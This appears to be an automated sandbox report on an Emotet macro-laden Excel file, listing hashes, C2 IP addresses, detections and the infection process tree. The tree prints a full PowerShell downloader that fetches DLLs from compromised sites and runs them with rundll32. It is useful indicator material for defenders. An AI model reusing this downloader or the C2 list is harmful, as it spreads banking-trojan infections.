emotet | ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

Target

865663204559_17_Nov_2021.xlsm
Size

44KB
MD5

477fd718bb764ffe3c5afde16c6c8dd2
SHA1

eb932e19d95f88d64270d40cdc0b92c6d1cf63be
SHA256

ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
SHA512

f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2648	2772	cmd.exe	67

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	3504	powershell.exe
23	3504	powershell.exe
35	1584	rundll32.exe
36	1584	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
652	rundll32.exe
868	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xckwcvpdfqtsymy\tchlvc.htc	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2772	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
1584	rundll32.exe
1584	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3504	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2648	2772	EXCEL.EXE	70
PID 2772 wrote to memory of 2648	2772	EXCEL.EXE	70
PID 2648 wrote to memory of 3504	2648	cmd.exe	72
PID 2648 wrote to memory of 3504	2648	cmd.exe	72
PID 3504 wrote to memory of 652	3504	powershell.exe	74
PID 3504 wrote to memory of 652	3504	powershell.exe	74
PID 3504 wrote to memory of 652	3504	powershell.exe	74
PID 652 wrote to memory of 868	652	rundll32.exe	75
PID 652 wrote to memory of 868	652	rundll32.exe	75
PID 652 wrote to memory of 868	652	rundll32.exe	75
PID 868 wrote to memory of 1636	868	rundll32.exe	76
PID 868 wrote to memory of 1636	868	rundll32.exe	76
PID 868 wrote to memory of 1636	868	rundll32.exe	76
PID 1636 wrote to memory of 1584	1636	rundll32.exe	77
PID 1636 wrote to memory of 1584	1636	rundll32.exe	77
PID 1636 wrote to memory of 1584	1636	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\SysWow64\rundll32.exe
      "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\240041168.dll,f1228091526
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:652
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\240041168.dll",Control_RunDLL
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:868
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xckwcvpdfqtsymy\tchlvc.htc",LpFnwazG
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1636
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xckwcvpdfqtsymy\tchlvc.htc",Control_RunDLL
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/652-340-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/2772-123-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-125-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-124-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-118-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-122-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-121-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-120-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-119-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/3504-289-0x000002939D900000-0x000002939D902000-memory.dmp

Filesize
8KB

Download
memory/3504-290-0x000002939D903000-0x000002939D905000-memory.dmp

Filesize
8KB

Download
memory/3504-298-0x000002939D906000-0x000002939D908000-memory.dmp

Filesize
8KB

Download
memory/3504-315-0x000002939D908000-0x000002939D909000-memory.dmp

Filesize
4KB

Download